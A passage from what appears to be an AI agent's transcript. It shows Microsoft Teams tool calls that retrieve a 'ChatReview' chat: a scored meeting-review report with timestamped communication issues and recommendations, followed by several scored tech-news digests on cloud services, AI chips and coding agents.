\"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928939\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928939\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.939Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928890\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928890\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.89Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     }\n>   ]\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.list_chat_messages\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"top\": 100\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"messages\": [\n>     {\n>       \"message_id\": \"1781868597362\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781868597362\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868597362?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Concise Meeting Review \u2014 Replacement\\n\\n**Scores:** Overall **5.3/10 \u2014 Needs Improvement** | Grammar **4/10** | Communication **5/10** | Frustration handling **7/10 \u2014 Good** (no external client was evident, so this score is provisional).\\n\\n**Summary:** The team made useful decisions about architecture, bugs,\\ndocumentation, and priorities. The main weakness was unclear wording and\\nmoving between topics without confirming the decision, owner, deadline, and\\nacceptance test.\\n\\n### Top Issues\\n\\n  * **HIGH \u2014 00:02:** Unclear opening; no agenda or required outcomes.\\n  * **HIGH \u2014 03:03:** Vague status request (\u201chow much complete and how much rest\u201d) could produce unreliable estimates.\\n  * **HIGH \u2014 18:37:** Migration explanation mixed several systems and decisions without a checklist, creating rework/security risk.\\n  * **MEDIUM \u2014 25:20\u201325:56:** Repeated, conflicting discussion about tap behavior ended without a testable acceptance criterion.\\n\\n**Repeated questions:** Architecture, login, bug, and microphone checks were\\nnecessary. Generic \u201cwhat\u2019s clear?\u201d checks and repeated tap/table discussions\\nwere inefficient because nobody restated the final decision.\\n\\n### Trend Across 20 Prior Meetings\\n\\n  * **Improved:** Better handling of access boundaries, technical dependencies, release risks, and prioritization.\\n  * **Still recurring:** Unclear scope/timelines, long technical explanations, repeated clarification, and verbal requirements without written acceptance criteria.\\n\\n### Recommended Actions\\n\\n  1. Open with purpose, three outcomes, agenda, and end time.\\n  2. Ask for status as: done | remaining | blocker | owner | due date.\\n  3. Close each topic with: decision | owner | date | acceptance test.\\n  4. End with a two-minute read-back of actions and unresolved risks.\\n\\n_Client/product/contact/account/credential details were removed. Grammar\\nfindings may partly reflect multilingual speech and transcription errors._\",\n>       \"created_at\": \"2026-06-19T11:29:57.362Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868597362?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781868451230\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781868451230\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868451230?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer \u2014 Most Recent Completed Meeting\\n\\n**Meeting date:** 21 Apr 2026  \\n**Review scope:** Full transcript of the selected meeting; 2 nearest prior\\nfull transcripts; summaries/action items from the other 18 preceding meetings.  \\n**Privacy:** Client, product, account, contact, and credential details have\\nbeen removed. Speaker names are replaced by roles.\\n\\n### Scorecard\\n\\n  * **Overall: 5.3/10 \u2014 Needs Improvement** (average of the three scores below)\\n  * **Grammar: 4/10 \u2014 Needs Improvement** \u2014 frequent sentence fragments, missing verbs/articles, vague pronouns, and unfinished thoughts.\\n  * **Communication: 5/10 \u2014 Needs Improvement** \u2014 useful technical decisions were reached, but questions and handoffs were often unstructured.\\n  * **Client-frustration handling: 7/10 \u2014 Good** \u2014 higher means less observed friction. No external client was evident in this meeting; the score is provisional and reflects internal confusion/repetition rather than client dissatisfaction.\\n\\n_Fairness note: the transcript contains multilingual speech and likely speech-\\nrecognition errors. Grammar observations should be treated as coaching\\nsignals, not accent judgments._\\n\\n### Conversation Summary\\n\\nThe team reviewed project status, architecture, migration work, bugs,\\ndocumentation, and feature priorities. They agreed to consolidate backend\\nwork, fix critical login/audio/grammar-correction issues, document the\\narchitecture, prioritize core learning and role-play flows, and defer lower-\\npriority notifications/referral work. The technical direction was broadly\\nsound, but the call lacked a crisp agenda, item-by-item status format,\\nacceptance criteria, and a final owner/deadline recap.\\n\\n### What Went Well\\n\\n  * **Architecture clarification:** At **02:46** , the lead asked which backend/service components were actually in use. This was a necessary question before migration decisions.\\n  * **Documentation recognized:** At **11:01** , the team requested a project document; the resulting action list captured architecture and feature documentation work.\\n  * **Functional verification:** At **28:48\u201329:04** , the team checked whether microphone and speech-correction behavior was complete instead of assuming it worked.\\n  * **Prioritization:** At **31:30\u201332:04** , lower-priority reminder/referral work was deferred so the team could focus on core functionality.\\n\\n### Priority Issues and Evidence\\n\\n  1. **HIGH \u2014 Unclear opening and meeting objective.**  \\n**Transcript 00:02:** \u201cSo you have to ask about [product] \u2026 we discussed this\\n\u2026 okay?\u201d  \\nThe call began without a clear purpose, expected decisions, or order of\\ntopics. This increases meeting time and the risk that participants solve\\ndifferent problems.  \\n**Improve:** \u201cToday we need three outcomes: current status, blockers, and\\nowners/dates for remaining work.\u201d\\n\\n  2. **HIGH \u2014 Vague status request.**  \\n**Transcript 03:03:** \u201cTell us \u2026 how much complete and how much rest.\u201d  \\nThe intent is understandable, but the request does not specify features,\\nevidence, blockers, or dates. This can produce unreliable estimates and missed\\nscope.  \\n**Improve:** \u201cFor each feature, state: done, remaining, blocker, owner, and\\ntarget date.\u201d\\n\\n  3. **HIGH \u2014 Long, unstructured architecture explanation.**  \\n**Transcript 18:37:** \u201cWe need everything in [backend] \u2026 there is no cloud\\nfunction \u2026\u201d followed by repeated services, tables, and secret-handling\\nreferences.  \\nSeveral decisions were mixed together without a clear migration checklist or\\ndefinition of done. Business risk includes configuration errors, security\\noversights, and rework.  \\n**Improve:** present \u201ccurrent state \u2192 target state \u2192 components to migrate \u2192\\nitems to remove \u2192 validation owner/date.\u201d\\n\\n  4. **HIGH \u2014 Contradictory acceptance criteria.**  \\n**Transcript 25:20\u201325:56:** \u201cLearn flow?\u201d / \u201cIt doesn\u2019t [need to be] tappable\u201d\\n/ \u201cNo, no, no.\u201d  \\nParticipants discussed the same interaction in different terms, but nobody\\nrestated the final decision. This can send development in the wrong direction.  \\n**Improve:** finish with one testable sentence: \u201cDecision: tapping a chat\\nmessage will/will not trigger X; owner Y will demo it by date Z.\u201d\\n\\n  5. **MEDIUM \u2014 Weak closed-loop confirmation.**  \\n**Transcript 01:08\u201301:52:** \u201cWhat\u2019s clear?\u201d was repeated around an audio/mute\\nproblem.  \\nRepeating a generic question does not prove shared understanding.  \\n**Improve:** \u201cPlease repeat the two actions you own and their deadlines.\u201d\\n\\n  6. **MEDIUM \u2014 Premature task closure without ownership.**  \\n**Transcript 09:49\u201310:00:** \u201cRemaining tasks are cleared\u201d followed by a\\nfragmented \u201cone, two \u2026 start \u2026\u201d instruction.  \\nThe meeting moved on before the owner, due date, and completion evidence were\\nstated.  \\n**Improve:** use a visible decision/action log throughout the call.\\n\\n  7. **LOW \u2014 Vague closing question.**  \\n**Transcript 32:22:** \u201cYou said that were doing it?\u201d  \\nThe close did not summarize decisions or invite targeted corrections.  \\n**Improve:** \u201cBefore we finish: here are the decisions, owners, and dates.\\nWhat did I miss?\u201d\\n\\n### Repeated Questions: Necessary vs. Unnecessary\\n\\n  * **Necessary:** **02:46** backend/service usage; **08:00\u201308:08** login testing; **18:08** pending bug list; **28:48\u201329:04** microphone/speech-correction verification. These reduce technical and delivery risk.\\n  * **Inefficient repetition \u2014 MEDIUM:** **01:08\u201301:52** generic \u201cwhat\u2019s clear?\u201d checks; **21:11\u201321:28** repeated table-use discussion without naming the exact data/decision; **25:20\u201325:56** repeated tap-behavior discussion without a written acceptance criterion.\\n\\n### Unclear Requests and Missed Opportunities\\n\\n  * **HIGH, 03:03:** missed the chance to request a structured feature-by-feature status report.\\n  * **HIGH, 18:37:** missed the chance to convert migration discussion into a checklist with validation and rollback criteria.\\n  * **MEDIUM, 09:49\u201310:00:** missed the chance to assign owners and dates before declaring tasks clear.\\n  * **MEDIUM, 25:20\u201325:56:** missed the chance to write one acceptance criterion and have the implementer read it back.\\n  * **LOW, 32:22:** missed the chance to close with decisions, actions, risks, and the next review date.\\n\\n### Likely Root Causes of Friction\\n\\n  * No visible agenda or shared status checklist.\\n  * Multiple questions and technical concepts combined in one sentence.\\n  * Heavy use of vague words such as \u201cthis,\u201d \u201cthat,\u201d \u201cit,\u201d and \u201cremaining\u201d without naming the component.\\n  * Too many topics\u2014architecture, bugs, UI, documentation, notifications, and referral work\u2014without timeboxing.\\n  * Decisions remained verbal instead of being converted immediately into acceptance criteria and owner/date actions.\\n\\n### Trend Across the 20 Prior Meetings\\n\\n**Improving:**\\n\\n  * The nearest prior client call showed better judgment: when source-code access was declined, the lead accepted the boundary, requested tester access and a scope document, and agreed on a quote-after-review process. The client remained cooperative.\\n  * Recent meetings increasingly captured technical decisions, blockers, staged-release/rollback thinking, and concrete action items.\\n  * The lead is improving at identifying dependencies before estimating and at prioritizing critical functionality over lower-value additions.\\n\\n**Still recurring:**\\n\\n  * **HIGH:** scope and timeline clarity. A prior March meeting also recorded that several tasks, scope, and timing remained unclear; the same pattern appears at 03:03 in the selected call.\\n  * **HIGH:** long explanations of high-risk technical changes without a short recommendation and decision recap. This appeared in both a prior production-launch discussion and the selected architecture discussion.\\n  * **MEDIUM:** repeated access/dependency clarification. Often necessary, but much of it could be handled by a pre-meeting artifact checklist.\\n  * **MEDIUM:** reliance on verbal requirements. Multiple prior meetings called for tickets, documentation, or more detailed requirements, and the selected meeting still required a missing architecture document.\\n\\n**Trend confidence: Medium.** Three meetings were reviewed from full\\ntranscripts; the other 18 historical meetings were compared through their\\nFathom summaries/action items because the connector limits full-transcript\\nretrieval to three per review.\\n\\n### Recommended Actions\\n\\n  1. **P0 \u2014 Use a 60-second opening:** purpose, three required outcomes, agenda, and end time.\\n  2. **P0 \u2014 Use one status template:** component | done | remaining | blocker | owner | due date | proof.\\n  3. **P0 \u2014 Close every topic:** \u201cDecision / Owner / Due date / Acceptance test.\u201d Ask the owner to read it back.\\n  4. **P1 \u2014 Use simpler English patterns:** one question per sentence; name the component; avoid \u201cthis/that/it\u201d when several items are being discussed.\\n  5. **P1 \u2014 Explain risks in five lines:** risk, cause, impact, options, recommendation.\\n  6. **P1 \u2014 End with a two-minute recap:** decisions, actions, unresolved risks, and next review date.\\n  7. **P2 \u2014 Measure the next five meetings:** number of repeated clarifications, actions with owner/date, unresolved decisions, and client corrections.\\n\\n**Scoring rubric:** 1\u20133 Poor | 4\u20136 Needs Improvement | 7\u20138 Good | 9\u201310 Excellent\",\n>       \"created_at\": \"2026-06-19T11:27:31.23Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868451230?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863296933\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863296933\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863296933?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 10/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Route 53 DNS Firewall integrates Palo Alto threat protection](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-route-53-resolver-dns/)** \u2014 **Score: 31/35.** Route 53 Resolver DNS Firewall can preview Palo Alto Networks threat intelligence, adding another managed control against malicious domains.\\n  2. **[Microsoft fixes failed Windows Server 2016 security updates](https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-windows-server-2016-security-update-failures/)** \u2014 **Score: 30/35.** Microsoft fixed a problem that caused June security updates to fail on Windows Server 2016 systems that were missing earlier servicing updates.\\n  3. **[Amazon RDS adds Graviton5 M9g database instances](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-rds-postgresql-mysql-mariadb-m9g-instances/)** \u2014 **Score: 30/35.** RDS now offers Graviton5 M9g instances for PostgreSQL, MySQL and MariaDB, claiming up to 30% higher performance and 23% better price-performance.\\n  4. **[CloudWatch centralizes metrics across accounts and regions](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-cross-account-metrics-centralization)** \u2014 **Score: 30/35.** CloudWatch can replicate metrics from multiple accounts and regions into one destination, simplifying enterprise observability and access management.\\n  5. **[AWS expands nested virtualization across Intel instances](https://aws.amazon.com/about-aws/whats-new/2026/06/nested-virtualization-intel-us-gov-cloud/)** \u2014 **Score: 30/35.** AWS expanded nested virtualization to more Intel instance families and GovCloud regions, supporting hypervisor, lab and appliance workloads.\\n  6. **[CloudWatch Query Studio reaches general availability](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-cloudwatch-query-studio-generally-available)** \u2014 **Score: 29/35.** CloudWatch Query Studio provides one interface for querying and visualizing metrics, reducing context switching during operations and incident analysis.\\n  7. **[CNCF program expands Arm64 testing for open-source projects](https://www.cncf.io/blog/2026/06/15/improving-arm64-support-in-cncf-projects-with-oci-credits/)** \u2014 **Score: 29/35.** CNCF is using OCI credits to improve Arm64 build and test coverage as Arm-based instances gain share across major cloud platforms.\\n  8. **[AWS improves EBS rightsizing with spike-aware metrics](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-compute-optimizer-enhances-ebs-recommendations/)** \u2014 **Score: 28/35.** Compute Optimizer now considers IOPS and throughput-exceeded signals when rightsizing EBS volumes, reducing performance risk from hidden spikes.\\n  9. **[Apple patches a high-severity Beats eavesdropping flaw](https://arstechnica.com/apple/2026/06/apple-patches-high-severity-eavesdropping-vulnerability-in-beats-studio-buds/)** \u2014 **Score: 27/35.** Apple patched a high-severity vulnerability affecting Beats Studio Buds that could enable eavesdropping; related hardware from multiple vendors is affected.\\n  10. **[GameLift improves container fleets for game servers](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-gamelift-servers-container-fleet-improvements)** \u2014 **Score: 27/35.** GameLift added container-fleet controls for deployment flexibility and inter-container communication, addressing common game-server operations issues.\",\n>       \"created_at\": \"2026-06-19T10:01:36.933Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863296933?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863295479\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863295479\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863295479?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 9/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AI demand broadens the chip boom across Asia](https://news.google.com/rss/articles/CBMihAFBVV95cUxONURodERCMFljMjMta0c1RFBGOUthaTEzQTZSQnNZLW1fUDA3dnRsQXhXdlpMTElweWZwQnl3MmVEcUNmajhLdHR5endwa3NLcW0ydmJOdThNdmEwOXM1TC1NY2pZTngwUVUxYUNQRU5relZIeTBkQlVpN3FZV2o2SFJvbTA?oc=5)** \u2014 **Score: 31/35.** AI demand is lifting chipmakers across Asia, broadening infrastructure exposure beyond Nvidia and reshaping regional semiconductor supply chains.\\n  2. **[Coherent expands the optical backbone for AI systems in Texas](https://blogs.nvidia.com/blog/coherent-texas-ai-optical/)** \u2014 **Score: 31/35.** Coherent broke ground on a larger Texas facility for lasers and optical components that connect dense AI systems and data-center networks.\\n  3. **[JX Advanced Metals expands optical-wafer capacity for AI data centers](https://news.google.com/rss/articles/CBMivwFBVV95cUxNR3Q0MzVDd1dXVGs4bFI0MGphNGQ2X195TXdzNTYyNG9jbFEwQzFnUklCd2xlQmxwSUFYemlld193Q2pWcW02S3FMV1JHLUQwcUs3dWhkYjFuLS1CVHRzR1R0cTZwUVNTd3QzNHJMY1A3VUdVUDBUd1Rjem9VX2FUNlFTMDVWUXFWaDNvaGJHUFI0cHNBZWNrN1hJUm5obXA5clk2U04xZC1hSE5mcnpPYXkxd0k2VmU4Zmk2d2JrTQ?oc=5)** \u2014 **Score: 31/35.** JX Advanced Metals plans more optical-chip wafer capacity as AI clusters drive demand for high-bandwidth interconnects.\\n  4. **[SK Hynix ships samples of next-generation HBM4E memory](https://news.google.com/rss/articles/CBMiuAFBVV95cUxOOWEzYzZRcVFwWVZqS3JYakY4azZJLVVqenRtSm1mSEs2Rm1zVHNkWUxMS1paWHRmdzFlbVRWZmRwckdRN2JhS2JudnRURTBWWlg2WTFKaUprVnNmb3Fsd0R4bnNCX0F0YzZsTHRTd3pqRnJjV2RNYTZCMDdFNl9NeU9vcTFhS1JTQmFZS2RYbHQtLWlFZjg1TFBkaWVpTFJJUXdrQk9ONFB2dUdhcWVVT2NTTURxdzVY?oc=5)** \u2014 **Score: 30/35.** SK Hynix began shipping HBM4E samples, advancing the high-bandwidth memory supply needed for the next generation of AI accelerators.\\n  5. **[US CHIPS award backs SandboxAQ materials discovery](https://news.google.com/rss/articles/CBMifEFVX3lxTE9NYm5qMGZpTm4zY0J5bU4wYkpvUVJETmZVemllZFpwNi1Wc19ZZ3JEYTB1SlRBUTZpa29mSTFKQzFiUjRYcjJxclN5MlZZZTRVRDh5cFg3NC1kbURFV3AtQ1EzdkRJSjNTcDgtYnAxaDAxMWpmdlhhZGFhYl8?oc=5)** \u2014 **Score: 30/35.** A $500 million CHIPS award will support SandboxAQ\u2019s AI-driven materials work, connecting model-assisted discovery with domestic semiconductor capacity.\\n  6. **[Apple warns device prices will rise with memory costs](https://news.google.com/rss/articles/CBMiWkFVX3lxTFBHMUFiLVBVQVhqRlhQSW5qRFU3aTFTcEt3YXBIaG5vejVBNmlvNVBqc2ZoMHppUEU0Wk1yTllLQl9OSDNTeTZJUlAwU3RHTHpfaWVqUWp4d1dWdw?oc=5)** \u2014 **Score: 29/35.** Tim Cook says Apple device prices will rise as AI demand pushes memory-chip costs higher, showing the AI boom\u2019s spillover into consumer hardware.\\n  7. **[Researchers combine sensing, memory and processing for AI devices](https://news.google.com/rss/articles/CBMi5wJBVV95cUxOV3dLSXhwanhHUjR4UEVfc0tGZnJaMkpXZS04elBiMDhGX19VQ0ViQTJoZWVvNkRaeWRmSTlsa2pMeTVHcDItdWtYaDBMYlJPdWxkTk82TUUxamFzYk1mR21uelNFNk91RjluS3lqeHNkRGpqVlYxTTlxdmtiTnJ6UVpoS2FMUldBS3M3WWZMSDZRRjJDYlFOZzExM1ZBQWlOY1RHNnFtRUxjVVJWbzBVbUdUcHRkSTJxUTFyRWpuT0xGemh4dGxqZk14VldEQWhzeXo1OXQzOTQybk1iS1B0LW50RU9aVjQ4ZXJRdGFFdUdhOUE0UUREOWRMQmVUTjktRDk0Y3U1VDVXenNVOHo2bDRUZnFlc1Z4dTBUenFaMVpyc256a1A2NHEyOGhIRWwyRTBZOXl1QzBubXp1NVpldF9zTllObXdqOUZaTm1KbDBRZGtHTHdOZXlMOWhLc0VVVFBRT0Z4OA?oc=5)** \u2014 **Score: 29/35.** A brain-inspired phototransistor combines light sensing, memory and processing, aiming to reduce data movement and energy use in edge AI sensors.\\n  8. **[AI-assisted process targets next-generation 2D chips](https://news.google.com/rss/articles/CBMiV0FVX3lxTFBvNnBkTTZUVkVHQnpMR0puLW5hM0VpUDZRUklDb2RUNzVxOGxCUzRUQ1FTeGdVZlI3WC03bjZFcVUzY0pabllUaVl5SEpUSlpadFV4dG0zNNIBV0FVX3lxTFBvNnBkTTZUVkVHQnpMR0puLW5hM0VpUDZRUklDb2RUNzVxOGxCUzRUQ1FTeGdVZlI3WC03bjZFcVUzY0pabllUaVl5SEpUSlpadFV4dG0zNA?oc=5)** \u2014 **Score: 29/35.** Korean researchers developed an AI-assisted process for next-generation 2D chips, targeting more efficient materials and fabrication workflows.\\n  9. **[Nvidia says AI infrastructure will expand manufacturing jobs](https://news.google.com/rss/articles/CBMiqAFBVV95cUxNakpBMVhhLVBxTHFXTjFwZGd5b1JDVjFaLUlqZXJmaW5TbC05N0ZuYUI5YjBoX2hlcGVKYURQOENIU25HOHN2T1lZYkxZdm5uN29kcWFmaGxGRkl1cVpJY1FYdXlMdldXSE9GbHJUVHJDUHRXdmlzNjFrbFkyeHBkQmpFUFQ3eElCVW9RMDhISWxtOGlXV3FlOEstR3VEY25iRjVrT29naTjSAa4BQVVfeXFMTXZOSjM2X0VTUVJocmRJWFpFMFZCSjMySFBjZjF3cTFaRTRkSW41cGlJbk90djV5ZFl6Ui1xWXpFOHBCOEIwRWNYQWhTMkJxMGowWElpZkQwZF9VdTVHN3ZxV1d4YkpwWU44b2FuLUxpVlZyejZ3SC1tS2tnZXJUTEEzZko4TEs5cWZwTlpEQWp4d2VhTVowOHZVZTJ6OEZuVTY5SnJhMFQ5TjhyUEt3?oc=5)** \u2014 **Score: 29/35.** Jensen Huang says AI infrastructure will create manufacturing jobs, with new Texas investments providing an early test of that claim.\\n  10. **[Tencent-backed Enflame moves toward an AI-chip IPO](https://news.google.com/rss/articles/CBMitAFBVV95cUxQR29hd1R5b1k3XzZwN084WkEzTXp6LXRkdGJVaWJIREZ1OGg4QW96alh0V0cxUHZ5dEREOEJQTUhBSTk1X2pHTzFjWFpUN0ZadTZ0NVpLOHUzU0tQRk9NMGlVN3JPMFkwTlZEMVJxX2lhWHJFYTlqWnNWSm5xelh6WjZpeWtUblk0a21EUDJBaDgwWFkzcENvalNEMFpQZUJJbnFqWW9tQ0x2LUFoSDdzWVBRNkI?oc=5)** \u2014 **Score: 29/35.** Enflame is heading toward an IPO as Chinese AI-chip companies seek capital to expand domestic accelerator capacity and reduce foreign dependence.\",\n>       \"created_at\": \"2026-06-19T10:01:35.479Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863295479?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863294467\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863294467\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863294467?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 8/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS DevOps Agent adds custom SRE agents and MCP/A2A access](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-devops-agent-custom-agents/)** \u2014 **Score: 33/35.** AWS DevOps Agent now supports custom SRE sub-agents plus headless MCP and A2A access for automating recurring reliability workflows.\\n  2. **[GitHub makes Copilot CLI more selective about delegation](https://github.blog/ai-and-ml/how-we-made-github-copilot-cli-more-selective-about-delegation/)** \u2014 **Score: 32/35.** GitHub changed Copilot CLI orchestration to reduce unnecessary handoffs, aiming for faster task completion without adding user-facing controls.\\n  3. **[Microsoft explains conflicts between coding-agent extensions](https://devblogs.microsoft.com/blog/when-your-agent-extensions-fight-each-other)** \u2014 **Score: 32/35.** Microsoft examines how overlapping agent extensions compete for context and instructions, and how teams can design integrations that cooperate reliably.\\n  4. **[Kimi K2.7-Code targets token-efficient agentic development](https://news.google.com/rss/articles/CBMilAFBVV95cUxOWWJ2UGhCZWVFR2xEc2c4UWxGc3M2bTVKTk4xR0tvQUJwUnJBRmNDR3lEN2lxTVZvakNudjlLOHE5d2hKZXM0OUMtVUZMaW1MSndZbUFSbUVNQVJDSVFQUnFtbzFuRkVYOUFFMmZ6TmdwRjJFN19yQXN5Z2Y0Uk5URi1jU0dsNFRtNDdZV01HbmJnTXVx?oc=5)** \u2014 **Score: 31/35.** Moonshot AI\u2019s Kimi K2.7-Code focuses on token-efficient coding-agent work, adding another option for teams balancing capability, latency and cost.\\n  5. **[Microsoft warns against overloading coding-agent skills](https://devblogs.microsoft.com/blog/stop-overloading-your-skills)** \u2014 **Score: 31/35.** Microsoft argues that oversized agent skills waste tokens and dilute instructions; smaller, task-specific context can improve coding-agent reliability.\\n  6. **[GitHits funds open-source code search for coding agents](https://news.google.com/rss/articles/CBMi2wFBVV95cUxQYmtlYVg2M3FfWUlxV1gtV1p1U3o0dkp5ZmlPOWM3LVl6RU1GdFFKNWMydkxRbkZVS0dscmpLZFRWQm9yYlh0SWdSNy1iUGppM01wMnJZXzJnSzV6WTl2NS1zSnh0WlBMUHNnT0Z1YnBBWTJtYVZuNWF2SFdXNXhSNlVTOWZsV2hZdjM4MkJ5REZyLXZaY3FNU3VnRUdrMGxvQVRQbmZnWjJGYVY2cnVHcFN5alZLZXMxYzI2NEdxMFVEaWJVOEI4VGJHbVpqOS1VbHF2dWFsYmZEWlU?oc=5)** \u2014 **Score: 30/35.** GitHits raised $1.75 million to improve AI coding accuracy through open-source code search, targeting better retrieval and grounding for agents.\\n  7. **[CNCF details dependency lockdown for open-source CI/CD](https://www.cncf.io/blog/2026/06/12/securing-ci-cd-for-an-open-source-project-locking-down-dependencies/)** \u2014 **Score: 30/35.** CNCF\u2019s Cilium team explains how it locks dependencies and reduces supply-chain exposure across a high-volume open-source CI/CD pipeline.\\n  8. **[AWS Glue adds Spark Connect for interactive development](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-glue-interactive-sessions-spark-connect-smus-notebooks)** \u2014 **Score: 29/35.** Glue Interactive Sessions can now use Spark Connect from SageMaker Unified Studio or preferred notebook environments, simplifying remote Spark work.\\n  9. **[EXANTE launches \u20ac1 million fund for critical open 